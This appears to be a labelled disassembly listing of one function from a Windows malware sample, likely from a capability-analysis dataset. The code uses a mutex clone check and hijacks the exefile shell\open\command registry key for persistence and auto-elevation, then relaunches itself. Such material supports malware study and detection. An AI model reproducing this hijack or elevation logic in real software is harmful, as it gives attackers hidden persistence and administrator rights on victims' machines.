Function at 0x476920
Capabilities:
Check mutex on windows
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d308
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x84], edx
mov ebx, ecx
mov dword [ebp - 0x7c], ebx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x75], 0
call fcn.00476770
cmp dword [eax + 0x14], 0x10
jb 0x47696d
mov eax, dword [eax]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x44]
mov esi, eax
cmp edx, 0x10
jb 0x4769ae
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4769a4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x476dc8
push edx
push ecx
call fcn.00537216
add esp, 8
push 0
push esi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4769d8
mov byte [ebp - 0x75], 1
push str.___CLONE_INFO:_Im_a_clone_
jmp 0x4769dd
push str.___CLONE_INFO:_Im_original_process_
call fcn.0046b580
add esp, 4
push 0x5e24b0
call fcn.0046b580
mov al, byte [0x5fdbc3]
add esp, 4
test al, al
je 0x476b06
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.__1___
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0044b750
mov eax, dword [ebp - 0x18]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
add eax, eax
push 0
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x476a7a
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push SysReAllocString
call ebx
test eax, eax
jne 0x476ac4
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x476afe
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476af4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x476dcd
push edx
push ecx
call fcn.00537216
add esp, 8
mov ebx, dword [ebp - 0x7c]
mov al, byte [0x5fdbc3]
cmp byte [ebp - 0x75], 0
je 0x476b24
test al, al
jne 0x476bfb
mov dword [edi], 1
mov eax, 1
jmp 0x476dac
test al, al
jne 0x476c02
mov edx, dword [ebp - 0x84]
mov ecx, ebx
call fcn.00480000
test eax, eax
je 0x476be7
push str.___Auto_elevation_success.
call fcn.0046b580
add esp, 4
call fcn.0046b850
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5fd9a7], 0
mov dword [edi], 0
je 0x476bdd
push 0x5ff1d0
lea ecx, [ebp - 0x58]
call fcn.004499e0
push 0
push str.AppData_
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.00463650
cmp eax, 0xffffffff
jne 0x476ba3
mov cl, 1
call fcn.00477850
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x476bdd
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476bd3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x476dd2
push edx
push ecx
call fcn.00537216
add esp, 8
mov eax, 1
jmp 0x476dac
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._____Auto_elevation_failed__Code__lu.
call fcn.0046b580
add esp, 8
xor eax, eax
jmp 0x476dac
xor eax, eax
mov dword [ebp - 0x30], 0
cmp byte [0x5fd9ab], al
mov ecx, 5
push 1
cmovne eax, ecx
mov dword [ebp - 0x2c], 7
movzx eax, ax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x7c], eax
xor eax, eax
push 0x5e31e4
mov word [ebp - 0x40], ax
call fcn.0044b750
mov ecx, ebx
mov dword [ebp - 4], 1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476c47
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.00453360
push 2
push 0x5e31e8
lea ecx, [ebp - 0x40]
call fcn.00453360
mov ebx, dword [ebp - 0x84]
mov ecx, ebx
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476c80
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.00453360
cmp dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x40]
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x40]
push 0x2710
push 0
call fcn.004760a0
add esp, 8
test eax, eax
je 0x476d5e
push str.___Re_launch_success.
call fcn.0046b580
add esp, 4
call fcn.0046b850
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5fd9a7], 0
mov dword [edi], 0
je 0x476d57
push 0x5ff1d0
lea ecx, [ebp - 0x70]
call fcn.004499e0
push 0
push str.AppData_
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.00463650
cmp eax, 0xffffffff
jne 0x476d1d
mov cl, 1
call fcn.00477850
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x476d57
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476d4d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x476dd7
push edx
push ecx
call fcn.00537216
add esp, 8
mov esi, 1
jmp 0x476d74
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._____Re_launch_failed__Code__lu.
call fcn.0046b580
add esp, 8
xor esi, esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x476daa
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476da0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x476ddc
push edx
push ecx
call fcn.00537216
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call fcn.00552cb1
call fcn.00552cb1
call fcn.00552cb1
call fcn.00552cb1
call fcn.00552cb1
int3